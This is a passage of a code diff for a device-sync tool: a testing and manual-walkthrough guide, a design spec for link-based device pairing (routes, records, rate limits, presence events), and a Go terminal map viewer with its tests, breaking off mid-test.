+```sh +scripts/bench-move.sh --envs same,second --sizes S --reps 3 +``` + +`--envs` picks `same` (two homes on this box, a Go relay in docker), `second` (the second +machine, which reaches the relay through `ssh -R`) and `hosted` (both machines talk to +`$CODEAF_RELAY`). It needs `CODEAF_SECOND_HOST` and `CODEAF_SECOND_ROOT` (for `second` +and `hosted`) and `CODEAF_CORPUS`; `CODEAF_SRC` is the checkout to build (default this one). +It builds, runs scripted edits (no model), and writes `rows.jsonl`, +`summary.json` and `summary.md` under `.lane/bench-move/`. Size S is a few seconds; M and L +take minutes to an hour a cell on a slow link. Run it on a quiet machine: it measures time. + +**Durability on the real machines.** + +```sh +scripts/durability-hosted.sh # all scenarios, about 20 minutes +``` + +## 4. Conformance for both relays + +```sh +scripts/relay-conformance.sh # the whole matrix and one table +SKIP_E2E=1 scripts/relay-conformance.sh # without the hosted Worker's end-to-end script +``` + +It starts the Go relay and the hosted Worker (under `wrangler dev --local`) on free ports, +never against a hosted deployment, and exits 0 only when no suite failed or ran zero cases. +To hold one live relay to the suites by hand: + +```sh +go test -count=1 -tags relayurl ./internal/relayconf/ -relay-url=$CODEAF_RELAY +``` + +The suites are store, directory, isolation, pairing, rotation, big take, watch and lease. Run +the whole suite only against a relay with a short pairing time and a lifted per-address +identity cap (a local one, or staging); production lacks both on purpose. The Worker's own +end-to-end scripts: `(cd relay/hosted && npm run e2e)`. + +## 5. The manual walk + +Use two terminals, one per machine, both with `CODEAF_SYNC_URL=$CODEAF_RELAY`. A is the machine that +already has your work, B is the new one. This is what each step should look like. + +1. **Home on A.** Run `codeaf`. If this machine never synced, the home screen shows a card, + "Add another device", with the pitch "pick up your work anywhere". +2. **Pair B.** On B run `codeaf pair`. B prints a link ending `codeaf.agentfield.ai/p/` + (staging prints its own host), a "Check number", and "Waiting for approval". +3. **Approve on A.** Open the card, choose to add a machine, and paste the link. A shows + "wants to pair" with the device's name, its platform, how long ago it asked and + the same Check number B shows. If the numbers differ, deny. Press `a` to approve. +4. **Both sides confirm.** B prints "Paired - N workspaces available". A shows a news line, + "is now paired". +5. **Work on B.** On B open a chat in a folder, ask for a small change, and let it finish. +6. **See B from A.** A's home shows a devices row with both machines online (filled dots). + `/devices` lists both. +7. **The continue card.** Close the chat on B (or leave B idle), reopen A. A offers "Continue + where you left off on ?". Enter chooses "continue here". +8. **Move.** A asks "Continue this chat here?". Confirm. A prints a banner "Moved from + in N s" and opens the chat with a resume card: the files not yet committed, the last test + run and what B saw. Your folder is the same, file for file. +9. **Take it back.** Do step 5 to 8 the other way: work on A, then on B continue the same chat + from B's home. It arrives in B's folder with A's work in it. (The devices screen says + "undo", not "take back".) +10. **Offline row.** Close the app and sleep or disconnect B. Within a minute A shows B as + `○ (offline)`, its chats no longer say "running", and the continue card says the + device is off. Reconnect B: the dot fills and the card goes away. +11. **Revoke.** On A open `/devices`, move down to B's row (not "this device") and press `r`. + A says B "was revoked". On B, opening a chat says it was revoked or turned away, and B's + own device list says so. B no longer reads A's chats. + +## 6. What a pass looks like, and the limits + +A pass: every command above ends with exit 0 and its own PASS line; no `FAIL`, +`FAIL-RECORD`, skip or zero-case suite; the two folders compare equal (the fidelity rows, and +`diff -r` apart from `.git`, `.furrow` and `node_modules`); and in the manual walk every step +shows what is written above. + +Known limits, from the measured runs (the benchmark notes of the program have the tables): + +- **Time follows the size of the repo, not of the change.** At the measured build, a warm take + after a one-file change fetched about 15 requests and 0.1 MB but took over a minute on a + 200 MB repo, because the receiving machine rewrote the whole tree. A later build changed the + sealing and upload path; the numbers were not repeated on it. Treat a slow warm take on a + big repo as known, not as a regression, until you compare with a fresh bench run. +- **Cold takes fetch one object per request.** Over a hosted relay a 17,000-object repo took + about 20 minutes cold at 70 to 90 ms a request. Small repos take seconds. +- **The benchmarks are not a real WAN for all rows.** The same-box row has no network, and the + tunnelled row adds the latency of ssh. Runs were repeated three times at most; on a shared + machine the spread is large (a warm take of 54 to 88 s on one box). +- **Dollar figures are a price table, not a bill.** They count the client's requests against + list prices with every free tier used. +- **A moved chat's folder differs from the original in a few known ways.** Names that differ + only in case cannot both exist on a case-insensitive Mac, so that take is refused. `.git/index` and `.git/logs` are compared by kind and size only, because + git rewrites them. A `node_modules` folder is withheld and rebuilt with `npm ci`. +- **The pairing rate limit.** The hosted relay allows about 12 pairings per 40 minutes from one + network (staging says `too many pairings from this network; wait N min`). Pair once and reuse + the homes; do not run `continuity.py pair` in a loop. +- **The conformance suite and load runs against staging** cost real requests; run them with + the owner's agreement, not by habit. +- **Only the Mac and Linux pairs were tested.** The fidelity runs were Linux to a Mac on APFS. diff --git a/docs/ux-pairing-contract.md b/docs/ux-pairing-contract.md new file mode 100644 index 0000000000..790b4a443e --- /dev/null +++ b/docs/ux-pairing-contract.md @@ -0,0 +1,300 @@ +# UX pairing contract (link pairing, device records, presence) + +Status: fixed. Every UX lane builds against this file. All changes are additive. A client that knows +nothing of this file keeps working: the six-digit code path (`/v1/pair`, internal/pairbox, +internal/pair), `{"v":N}` watch frames, `POST /v1/dir/devices/{id}/revoke` and the existing +`directory.Device` JSON all stay as they are. + +Words in UI strings follow the vocabulary law: "device", "Move here", "Continue here". The words in +this file (relay, node, lease, manifest) never reach a screen. + +Conventions: JSON bodies; errors are `{"err":""}` with the status given (the relay's existing +shape, `wire.js`). Times are Unix milliseconds. `b64u` is unpadded base64url. Every answer carries +`Codeaf-Now` as today. Signed routes use the existing identity/device cert headers and are called +"signed"; routes marked "open" take no identity (the new device has none yet). + +## 1. Pending request record + +A new device asks to join by creating a request. The relay keeps it for 10 minutes in one new Durable +Object, `LinkGate` (global decisions and per-IP counters, like `PairGate`), plus one `LinkRequest` +object per code (like `Mailbox`). + +```json +{ + "code": "k7m2q9xd", + "device": "dev_3Fq9...", + "pubkey": "b64u(32 bytes ed25519 device public key)", + "x25519": "b64u(32 bytes, key the grant is sealed to)", + "name_sealed": "b64u(secretbox of the UTF-8 device name under the link key)", + "platform": "linux", + "check": "4821", + "requested_at": 1790000000000, + "expires_at": 1790000600000, + "state": "pending", + "grant": null +} +``` + +- `code`: 8 characters of Crockford base32 (no I, L, O, U; lowercase accepted, upper-cased on read), + 40 random bits from `crypto.getRandomValues`. It is a lookup key, not a secret that protects keys. +- `device`: `dev_` id derived from `pubkey` exactly as today; the relay recomputes it and refuses a + mismatch (`bad_request`). +- `platform`: one of `darwin`, `linux`, `windows`, `ios`, `android`, `other`. Unknown values are stored + as `other`. Plain text; it is the platform icon on the approve screen. +- `name_sealed`: the name is hidden from the relay. It is sealed (NaCl secretbox, 24-byte nonce + prepended) under the 16-byte link key `k`, which lives only in the URL fragment (section 2) and is + never sent to any server. At most 96 bytes of name before sealing. +- `check`: four decimal digits, `uint16_be(sha256(pubkey)[0:2]) mod 10000`, zero padded. The new + device shows it; the approver compares it. It makes a substituted public key visible. +- `expires_at = requested_at + 600000` (10 min, `limits.pairTtlMs`). After expiry every read is `404 gone`. +- `state`: `pending` | `approved` | `denied`. Moves once, only from `pending` (single use). A request is + never revived; a new attempt is a new code. +- `grant`: `null` until approved. After `approved` it is `b64u(sealed box)` sealed to `x25519`; it holds + what the new device needs (cert, identity material, vault key). The relay stores it as opaque bytes + (4 KiB cap, `too_big`) and never reads it. A `denied` request has `grant: null`. +- After a decision the record lives 2 more minutes (so the new device can read it), then it is deleted. + +Wire form for the `device` object written into the directory on approval is section 4. + +## 2. Short link and mapping to the existing code + +``` +https://codeaf.agentfield.ai/p/# +``` + +`` is `b64u(16 bytes)`, the link key of section 1. `codeaf.agentfield.ai/p/*` is a redirect/handoff page: it +sends the visitor to the installed app (`codeaf://pair?code=#`), or shows install and CLI steps. +The fragment never leaves the browser. + +Printed or typed form, for headless use: `.` (for example `k7m2q9xd.Qm9v...`). The CLI prints +both the link and this token. Paste into any approve box is accepted in either shape. + +Existing path, unchanged: a six-digit code with a nameplate (`42-715-302`) goes through `/v1/pair` and +the CPace exchange in internal/pair. The two paths are siblings, chosen by the shape of what is +entered: + +| Entered text | Path | +|---|---| +| `^\d{1,4}-\d{3}-\d{3}$` or `\d{3} \d{3}` | existing pairbox + CPace, no change | +| `^[0-9a-hjkmnp-tv-z]{8}([.#].+)?$` (case-insensitive) or a `codeaf.agentfield.ai/p/` URL (the old `codeaf.link` host is not a codeaf link and is answered as such) | link pairing, this file | + +There is no secret in the short code, so link pairing has two guards instead of the PAKE: a human +approves on an already-paired device, and the approver sees `check` and the name. The grant is sealed +to the new device key, so the relay and anyone who reads the request learn nothing usable. + +## 3. Routes + +All paths are under the hosted relay origin. No route removes or changes an existing one. + +| # | Method and path | Auth | Purpose | +|---|---|---|---| +| 1 | `POST /v1/link/requests` | open | create a request | +| 2 | `GET /v1/link/requests/{code}` | open | read one (approver and new device) | +| 3 | `POST /v1/dir/requests/{code}/approve` | signed | approve | +| 4 | `POST /v1/dir/requests/{code}/deny` | signed | deny | +| 5 | `GET /v1/dir/presence` | signed | who is online now | +| 6 | `GET /v1/link/limits` | open | numbers below, for clients | + +Revoke is unchanged: `POST /v1/dir/devices/{id}/revoke` (204; revoked keys are refused as today). + +### 3.1 Create: `POST /v1/link/requests` (open) + +Request: + +```json +{ "pubkey": "b64u", "x25519": "b64u", "name_sealed": "b64u", "platform": "linux" } +``` + +Answer `201`: + +```json +{ "code": "k7m2q9xd", "device": "dev_3Fq9...", "check": "4821", + "requested_at": 1790000000000, "expires_at": 1790000600000 } +``` + +The client builds the link from `code` and its own `k`. Errors: + +| Status | err | When | +|---|---|---| +| 400 | `bad_request` | missing field, wrong key length, `device` mismatch, name over 96 bytes | +| 413 | `too_big` | body over 1 KiB | +| 429 | `rate_limited` | over 10 creates per hour per IP, or 3 pending requests at once per IP (`Retry-After` set) | +| 503 | `full` | 2000 live requests on the relay | + +### 3.2 Read: `GET /v1/link/requests/{code}` (open) + +Answer `200` is the record of section 1 with `state`, `grant`, `check`, `name_sealed`, `platform`, +`requested_at`, `expires_at`, `device`, `pubkey`, `x25519`. Query `?wait=` (max 25000) long-polls +until `state` leaves `pending`, answering `204` if the wait ends first (same behaviour as the mailbox +read). The new device uses it to wait for approval; the approver uses it once, without `wait`. + +| Status | err | When | +|---|---|---| +| 404 | `gone` | unknown, expired or deleted code (these are one answer on purpose) | +| 429 | `rate_limited` | over 60 reads per minute per IP, or over 20 misses per minute per IP, or 4 open polls per IP | + +### 3.3 Approve: `POST /v1/dir/requests/{code}/approve` (signed) + +Called by an already-paired device of the identity that is approving. + +```json +{ + "device": { + "V": 1, "name": "b64 sealed under the metadata key", "added_by": "id_...", + "revoked": false, "caps": { "os": "linux", "arch": "arm64", "sandbox": "landlock", + "container": null, "gpu": null, "cow": "btrfs" }, + "platform": "linux", "created": 1790000123456, "last_seen": 0 + }, + "cert": "b64u device cert for `dev_...` signed by the identity key (existing cert format)", + "grant": "b64u(sealed box to x25519)" +} +``` + +Effect, in this order and in one turn of the identity object: verify `cert` is for the request's +`device`; write the Device record (as `PUT /v1/dir/devices/{id}` would, `created` set by the relay to +directory time); bump the directory version (watchers hear `{"v":N}`); emit `joined` (section 5); set +the request `approved` with `grant`. A retry of the same approve with the same `device` is `204` +(idempotent). Answer `204`. + +| Status | err | When | +|---|---|---| +| 400 | `bad_request` | `device`/`cert` do not match the request | +| 401 | `unauthorized` | not signed, or signer revoked (existing causes) | +| 404 | `gone` | no such live request | +| 409 | `already_decided` | request is `approved` for another body, or `denied` | +| 410 | `rotated` | identity replaced (existing) | +| 413 | `too_big` | `grant` over 4 KiB | +| 429 | `rate_limited` | existing per-device limits | + +### 3.4 Deny: `POST /v1/dir/requests/{code}/deny` (signed) + +Empty body. Sets `denied`; the waiting device reads `state:"denied"` and shows "Request declined". +Answer `204`. Errors: `401 unauthorized`, `404 gone`, `409 already_decided` (a repeat deny is `204`). +Any paired device may approve or deny; the first decision wins. + +### 3.5 Presence list: `GET /v1/dir/presence` (signed) + +```json +{ "now": 1790000001000, + "devices": { + "dev_A": { "online": true, "last_seen": 1790000001000 }, + "dev_B": { "online": false, "last_seen": 1789999000000 } } } +``` + +One entry per non-revoked device in the directory. Cost: reads socket state only, no storage write. +Answers with `Codeaf-Dir-Version` like `/v1/dir/list`. Used at app open and as the fallback for a client +whose socket is down. + +### 3.6 Limits: `GET /v1/link/limits` (open) + +```json +{ "ttl_ms": 600000, "create_per_hour": 10, "pending_per_ip": 3, "read_per_minute": 60, + "miss_per_minute": 20, "concurrent_polls": 4, "max_grant": 4096, "max_live": 2000 } +``` + +New keys in `limits.js` `DEFAULTS` (override via `CAF_LIMITS` as today): `linkCreatePerHour` 10, +`linkPendingPerIp` 3, `linkReadPerMinute` 60, `linkMissPerMinute` 20, `linkConcurrentPolls` 4, +`linkMaxGrant` 4096, `linkMaxLive` 2000. `pairTtlMs` is reused for the 10 minutes. + +## 4. Device record (additive fields) + +`directory.Device` gains three fields. Go (`internal/directory/records.go`): + +```go +Platform string `json:"platform,omitempty"` // darwin|linux|windows|ios|android|other +Created int64 `json:"created,omitempty"` // directory ms when the device joined; set by the relay +LastSeen int64 `json:"last_seen,omitempty"` // directory ms of the last watch socket close or hello +``` + +Full JSON: + +```json +{ "V": 1, "name": "b64", "added_by": "id_...", "revoked": false, + "caps": { "os": "linux", "arch": "arm64", "sandbox": "landlock", "container": null, "gpu": null, "cow": "btrfs" }, + "platform": "linux", "created": 1790000123456, "last_seen": 1790000999000 } +``` + +Rules: +- `V` stays 1. Old readers ignore unknown fields; old records decode with zero values, shown as + "unknown" platform and no time. A device written without the fields is valid. +- `created` is set by the relay on first write of a device id and never changes afterward; a client + value is ignored. +- `last_seen` is set only by the relay: at watch connect (hello) and at watch close. It is not written + per ping, so an open quiet socket costs no storage write. A client value is ignored. +- `platform` is client-supplied, same value set as section 1, written by self-registration or approve. +- Rename and `caps` changes keep using `PUT /v1/dir/devices/{id}` (self only). `Revoked` is still set + only by revoke. +- Writing `last_seen` bumps no directory version and sends no `{"v":N}` frame. + +## 5. Watch frames + +Today a watch socket gets only `{"v":N}` (version). That does not change for a socket opened as today. + +A client opts in to events with a query flag: `GET /v1/dir/watch?events=1` (plus existing `hold` +parameters). A socket without the flag never receives an event frame, so old clients cannot be +confused. With the flag the socket receives `{"v":N}` frames exactly as before, and in addition event +frames. An event frame has a string key `t` and no key `v`: + +```json +{"t":"joined","device":"dev_B","name":"b64 sealed","platform":"linux","at":1790000123456} +{"t":"presence","device":"dev_B","online":true,"at":1790000123999} +{"t":"presence","device":"dev_B","online":false,"at":1790000555000} +{"t":"revoked","device":"dev_B","at":1790000700000} +``` + +- `joined`: sent to every open event socket of the identity (the new device itself excluded) in the same + turn as the approve. The directory version also moves, so a client that only lists still sees it. + The UI string is " is now paired", decoded from `name` with the metadata key. +- `presence`: sent to the other event sockets when the first socket of a device opens (`online:true`) + and when its last socket closes (`online:false`). A device is online iff it holds at least one open + watch socket. A flapping device is debounced: an `online:false` is sent 15 s after the last socket + closes unless a socket opens first, and no `online:true` is sent for a reconnect inside that gap. + The close 15 s timer is a Durable Object alarm, set only when the last socket closes. +- On connect an event socket first gets `{"v":N}` then one `presence` frame per other online device, so + it needs no `/v1/dir/presence` call at start. `presence` frames for offline devices are not sent on + connect; use the list for `last_seen`. +- `revoked`: informational; the close `4401` for the revoked device itself is unchanged. +- Event frames are at most 512 bytes and are never queued for a socket that is gone. Clients must + ignore frames with an unknown `t`. + +## 6. Security properties (must hold in every implementation) + +1. The relay never holds an unsealed device name, a grant's contents, or the link key. +2. Approval needs a signed call by a non-revoked device of the identity. Open routes can only create, + read and wait. +3. A request decides once. Two approvers racing: one gets `204`, the other `409 already_decided`. +4. Code guessing is bounded: 40 bits, 10 min, 20 misses per minute per IP, and a guessed code reveals a + sealed name, a platform and a public key only. +5. Revoked device ids are refused at the relay as today; a revoked device re-joins only as a new + request and a new device id. + +## 7. Errors added + +`already_decided` (409). Reused with the existing meaning: `bad_request` 400, `unauthorized` 401, +`gone` 404, `too_big` 413 (here, `too_large` for directory bodies stays), `rate_limited` 429, `full` 503, +`rotated` 410. + +## 7a. Nameplates and generations (`/v1/pair`) + +A nameplate is a short number, so it is drawn again some day. Two rules keep a device that still holds an +old code from being answered by a newer mailbox that landed on the same nameplate. + +1. **Quarantine.** A relay does not draw a nameplate again until `plateQuarantineMs` after its mailbox ended + (released or expired). The hosted relay's default is one pairing life (`pairTtlMs`, 10 minutes): a device + may come back to a code until the code's life ends, and a poll that starts during the quarantine finds the + old mailbox gone. Quarantined plates count as occupied when the nameplate length (2 to 4 digits) is chosen. +2. **Generation.** Each opening of a mailbox has a random generation, 32 hex characters, sent in the header + `Codeaf-Pair-Gen` on every answer about that mailbox (create, post, poll). A device sends back the one it + was told, on post, poll and delete. A mailbox that is a different opening answers `404 gone`, the same + answer as for a mailbox that is not there. + +The header is optional both ways. A request with none is not fenced, and a mailbox opened before generations +existed, or a relay that names none (the self-hosted one), answers without it; a device then sends none. No +body, status or word changes, so old and new builds keep working together. A joining device learns the +generation from its first answer, so it is fenced from its second call on. + +## 8. Test vectors + +`docs/testdata/ux-pairing-vectors.json` holds the record shapes above as fixtures for the lanes +(request, approve body, presence answer, the four event frames, an old-style `{"v":N}` frame, and a +legacy Device record without the new fields). diff --git a/go.mod b/go.mod index 5a72a86af9..a89d0d78ed 100644 --- a/go.mod +++ b/go.mod @@ -65,6 +65,7 @@ require ( github.com/charmbracelet/x/windows v0.2.2 // indirect github.com/clipperhouse/displaywidth v0.11.0 // indirect github.com/clipperhouse/uax29/v2 v2.7.0 // indirect + github.com/coder/websocket v1.8.15 github.com/dlclark/regexp2/v2 v2.5.2 // indirect github.com/dustin/go-humanize v1.0.1 // indirect github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect diff --git a/go.sum b/go.sum index 4066505585..6e7a9939f4 100644 --- a/go.sum +++ b/go.sum @@ -82,6 +82,8 @@ github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSE github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0= github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk= github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM= +github.com/coder/websocket v1.8.15 h1:6B2JPeOGlpff2Uz6vOEH1Vzpi0iUz20A+lPVhPHtNUA= +github.com/coder/websocket v1.8.15/go.mod h1:NX3SzP+inril6yawo5CQXx8+fk145lPDC6pumgx0mVg= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dlclark/regexp2/v2 v2.5.2 h1:HAsucWRhsqcDzl6Ua9aR8JwYOTzrZyPrF0/FNxJVAI0= diff --git a/internal/atlas/atlas.go b/internal/atlas/atlas.go new file mode 100644 index 0000000000..e8a8b57b6a --- /dev/null +++ b/internal/atlas/atlas.go @@ -0,0 +1,30 @@ +package atlas + +import ( + "fmt" + + tea "charm.land/bubbletea/v2" +) + +// Run opens the atlas in this terminal and blocks until the person leaves it +// with q or ctrl+c. The view asks for the alternate screen, so the terminal is +// handed back whole on every road out — including a panic, which Bubble Tea +// catches, restores the terminal for and reports as [tea.ErrProgramPanic] (the +// one exit every command shares turns that into the plain fault sentence). +func Run() error { + if len(Maps) == 0 { + return nil + } + return RunMap(Maps[0]) +} + +// RunMap opens one map in this terminal and blocks until the person leaves it. +func RunMap(mp *Map) error { + m := New(mp, 0, 0) + m.SetGlyphSet(terminalGlyphs()) + _, err := tea.NewProgram(m).Run() + if err != nil { + return fmt.Errorf("atlas: %w", err) + } + return nil +} diff --git a/internal/atlas/atlas_test.go b/internal/atlas/atlas_test.go new file mode 100644 index 0000000000..92f4e973d0 --- /dev/null +++ b/internal/atlas/atlas_test.go @@ -0,0 +1,388 @@ +package atlas + +import ( + "strings" + "testing" + + tea "charm.land/bubbletea/v2" + "github.com/charmbracelet/lipgloss" +) + +// newTestModel is the model at a size, having drawn once so the boxes have +// their on-screen rectangles. +func newTestModel(t *testing.T, w, h int) *Model { + t.Helper() + m := New(Pairing, w, h) + m.Update(tea.WindowSizeMsg{Width: w, Height: h}) + m.drawFrame() + return m +} + +// send runs one key through the model the way the program would. +func send(t *testing.T, m *Model, key tea.KeyPressMsg) tea.Cmd { + t.Helper() + next, cmd := m.Update(key) + if _, ok := next.(*Model); !ok { + t.Fatalf("Update answered something other than the atlas model") + } + return cmd +} + +// sendMouse runs one mouse event through the model the way the program would. +func sendMouse(t *testing.T, m *Model, msg tea.Msg) { + t.Helper() + next, _ := m.Update(msg) + if _, ok := next.(*Model); !ok { + t.Fatalf("Update answered something other than the atlas model") + } +} + +// plain strips the styling off a frame, for assertions about words. +func plain(s string) string { + return strings.ReplaceAll(stripANSI(s), "\n", "\n") +} + +// stripANSI removes escape sequences, which the styled frame is full of. +func stripANSI(s string) string { + var b strings.Builder + for i := 0; i < len(s); i++ { + if s[i] == 0x1b { + for i < len(s) && !isFinalByte(s[i]) { + i++ + } + continue + } + b.WriteByte(s[i]) + } + return b.String() +} + +func isFinalByte(b byte) bool { return b >= 0x40 && b <= 0x7e } + +// frameAt draws the model at a size and hands back the plain text and the +// styled frame. +func frameAt(t *testing.T, m *Model) (string, string) { + t.Helper() + styled := m.drawFrame() + return stripANSI(styled), styled +} + +// ── the data the map draws ─────────────────────────────────────────────────── + +// TestEveryBoxCarriesItsShortLine checks the roomy layout leaves room for the +// one-line subtitle: a box whose subtitle is longer than its label must be +// wide enough for both, or the subtitle is clipped in every frame. +func TestEveryBoxCarriesItsShortLine(t *testing.T) { + for _, n := range Pairing.Nodes { + w, _ := nodeSize(n, false) + if len(n.Short) > w-4 { + t.Errorf("node %s: the box is %d cells wide but the subtitle %q needs %d", n.ID, w, n.Short, len(n.Short)+4) + } + } +} + +// ── dragging ───────────────────────────────────────────────────────────────── + +// TestDraggingMovesTheBoxAndReroutesItsArrows is the one thing mouse cell +// motion is here for: press inside a box, move, release, and the box is where +// the mouse left it with every arrow that touches it redrawn to follow. +func TestDraggingMovesTheBoxAndReroutesItsArrows(t *testing.T) { + m := newTestModel(t, 120, 35) + const id = "pair" + before, _ := m.nodeRect(id) + + // Where the arrows ran before the drag. + var edge Edge + for _, e := range Pairing.Edges { + if e.ID == "pair-hosted" { + edge = e + } + } + oldRects := snapshotRects(m) + oldPath := edgeCells(oldRects[edge.From], oldRects[edge.To], 0, 0) + + sendMouse(t, m, tea.MouseClickMsg{X: before.X + 2, Y: before.Y + 1, Button: tea.MouseLeft}) + sendMouse(t, m, tea.MouseMotionMsg{X: before.X + 22, Y: before.Y + 9, Button: tea.MouseLeft}) + sendMouse(t, m, tea.MouseReleaseMsg{X: before.X + 22, Y: before.Y + 9, Button: tea.MouseLeft}) + + if m.detail != "" { + t.Fatalf("a drag opened the detail pane of %q", m.detail) + } + // The rectangles come from the last drawn frame, so draw the one the + // drag produced before reading where the box landed. + frameAt(t, m) + after, _ := m.nodeRect(id) + if after.X != before.X+20 || after.Y != before.Y+8 { + t.Fatalf("the box moved to (%d,%d); the drag was 20 cells right and 8 down", after.X, after.Y) + } + + // And the arrow between the same two boxes runs somewhere else now. The + // boxes on the map can overlap one another by design, so the arrow's own + // path is the honest thing to compare, not the cells around the label. + m.drawFrame() + newRects := snapshotRects(m) + newPath := edgeCells(newRects[edge.From], newRects[edge.To], 0, 0) + if samePath(oldPath, newPath) { + t.Fatal("the box moved but the arrow between it and the hosted relay still runs through the same cells") + } +} + +// TestADragStaysInsideTheMap: a drag towards the edge stops at the edge of +// the map rather than pushing the box off screen. +func TestADragStaysInsideTheMap(t *testing.T) { + m := newTestModel(t, 120, 35) + const id = "machineB" + before, _ := m.nodeRect(id) + sendMouse(t, m, tea.MouseClickMsg{X: before.X + 2, Y: before.Y + 1, Button: tea.MouseLeft}) + sendMouse(t, m, tea.MouseMotionMsg{X: 500, Y: 500, Button: tea.MouseLeft}) + sendMouse(t, m, tea.MouseReleaseMsg{X: 500, Y: 500, Button: tea.MouseLeft}) + after, _ := m.nodeRect(id) + g := m.geometry() + if after.X+after.W > g.mapW || after.Y+after.H > g.mapTop+g.mapH { + t.Fatalf("the box was dragged off the map: %+v in a %d×%d map", after, g.mapW, g.mapH) + } +} + +func snapshotRects(m *Model) map[string]Rect { + out := make(map[string]Rect, len(m.rects)) + for k, r := range m.rects { + out[k] = r + } + return out +} + +func samePath(a, b []pt) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if a[i] != b[i] { + return false + } + } + return true +} + +// ── the detail pane ────────────────────────────────────────────────────────── + +// TestTabThenEnterOpensTheDetailPane is the keyboard road to what a click +// does: tab puts the selection on the first box, enter opens what it does, +// its files and what it talks to. +func TestTabThenEnterOpensTheDetailPane(t *testing.T) { + m := newTestModel(t, 120, 35) + first := Pairing.Nodes[0] + send(t, m, tea.KeyPressMsg{Code: tea.KeyTab}) + send(t, m, tea.KeyPressMsg{Code: tea.KeyEnter}) + if m.detail != first.ID { + t.Fatalf("tab then enter opened %q; the first node is %q", m.detail, first.ID) + } + text, _ := frameAt(t, m) + if !strings.Contains(text, " esc close ") { + t.Fatal("the open detail pane never says how to close it") + } + if !strings.Contains(text, first.Summary[:20]) { + t.Fatalf("the detail pane does not tell what the part does; it should name %q", first.Summary[:20]) + } +} + +// TestClickingABoxOpensItsDetail: the mouse road to the same pane, a press +// and a release without movement in between. +func TestClickingABoxOpensItsDetail(t *testing.T) { + m := newTestModel(t, 120, 35) + first := Pairing.Nodes[0] + r, _ := m.nodeRect(first.ID) + sendMouse(t, m, tea.MouseClickMsg{X: r.X + 2, Y: r.Y + 1, Button: tea.MouseLeft}) + sendMouse(t, m, tea.MouseReleaseMsg{X: r.X + 2, Y: r.Y + 1, Button: tea.MouseLeft}) + if m.detail != first.ID { + t.Fatalf("clicking the box opened %q, not %q", m.detail, first.ID) + } +} + +// ── the flows ──────────────────────────────────────────────────────────────── + +// TestSteppingAFlowHighlightsTheRightStep: 1 opens the pairing flow, the +// arrows walk it, and the step the map is telling is the one that draws. +func TestSteppingAFlowHighlightsTheRightStep(t *testing.T) { + m := newTestModel(t, 120, 35) + flow := Pairing.Flows[0] + send(t, m, tea.KeyPressMsg{Code: '1', Text: "1"}) + if m.flow != 0 || m.step != 0 { + t.Fatalf("pressing 1 opened flow %d at step %d", m.flow, m.step) + } + text, _ := frameAt(t, m) + if !strings.Contains(text, "step 1/"+itoa(len(flow.Steps))) { + t.Fatalf("the flow panel does not say where the story stands:\n%s", text) + } + send(t, m, tea.KeyPressMsg{Code: tea.KeyRight}) + if m.step != 1 { + t.Fatalf("the right arrow took the story to step %d", m.step) + } + text, _ = frameAt(t, m) + if !strings.Contains(text, "step 2/"+itoa(len(flow.Steps))) { + t.Fatalf("after stepping, the panel still tells step 1:\n%s", text) + } + if !strings.Contains(text, "2. "+flow.Steps[1].Message[:20]) { + t.Fatalf("the active step's message is not drawn:\n%s", text) + } + // The active arrow is the one the step travels, drawn last over the rest. + if _, inFlow := m.activeStep(); !inFlow { + t.Fatal("no step is active after opening a flow") + } + send(t, m, tea.KeyPressMsg{Code: tea.KeyLeft}) + if m.step != 0 { + t.Fatalf("the left arrow took the story to step %d", m.step) + } +} + +// TestTheLetterKeysWalkTheFlows: f cycles through the flows the way the +// number keys step through them one by one. +func TestTheLetterKeysWalkTheFlows(t *testing.T) { + m := newTestModel(t, 120, 35) + send(t, m, tea.KeyPressMsg{Code: 'f', Text: "f"}) + if m.flow != 0 { + t.Fatalf("f opened flow %d; the first flow was expected", m.flow) + } + send(t, m, tea.KeyPressMsg{Code: 'f', Text: "f"}) + send(t, m, tea.KeyPressMsg{Code: 'f', Text: "f"}) + if m.flow != 2 { + t.Fatalf("three presses of f landed on flow %d", m.flow) + } + send(t, m, tea.KeyPressMsg{Code: 'f', Text: "f"}) + if m.flow != 0 { + t.Fatalf("f does not wrap: it landed on flow %d", m.flow) + } + send(t, m, tea.KeyPressMsg{Code: '0', Text: "0"}) + if m.flow != -1 { + t.Fatal("0 did not go back to the overview") + } +} + +// TestPlayTogglesAndSteps: p starts the story and p stops it again; while it +// plays, each beat steps it forward. +func TestPlayTogglesAndSteps(t *testing.T) { + m := newTestModel(t, 120, 35) + send(t, m, tea.KeyPressMsg{Code: '1', Text: "1"}) + send(t, m, tea.KeyPressMsg{Code: 'p', Text: "p"}) + if !m.playing { + t.Fatal("p did not start the flow playing") + } + next, _ := m.Update(tickMsg{}) + if _, ok := next.(*Model); !ok { + t.Fatal("a tick answered something other than the atlas model") + } + if m.step != 1 { + t.Fatalf("one beat of play took the story to step %d", m.step) + } + send(t, m, tea.KeyPressMsg{Code: 'p', Text: "p"}) + if m.playing { + t.Fatal("p did not pause the flow") + } +} + +// ── help, escape, quitting ─────────────────────────────────────────────────── + +// TestQuestionMarkShowsTheLegend: ? opens the help over the map, naming what +// each colour of box is. +func TestQuestionMarkShowsTheLegend(t *testing.T) { + m := newTestModel(t, 120, 35) + send(t, m, tea.KeyPressMsg{Code: '?', Text: "?"}) + if !m.help { + t.Fatal("? did not open the help") + } + text, _ := frameAt(t, m) + if !strings.Contains(text, "Legend") { + t.Fatalf("the help never draws its legend:\n%s", text) + } + if !strings.Contains(text, "codeaf (Go)") { + t.Fatal("the legend does not name the kinds of box") + } +} + +// TestEscapeBacksOutOneLayer: help first, then the detail pane, then the +// flow, then the selection — the 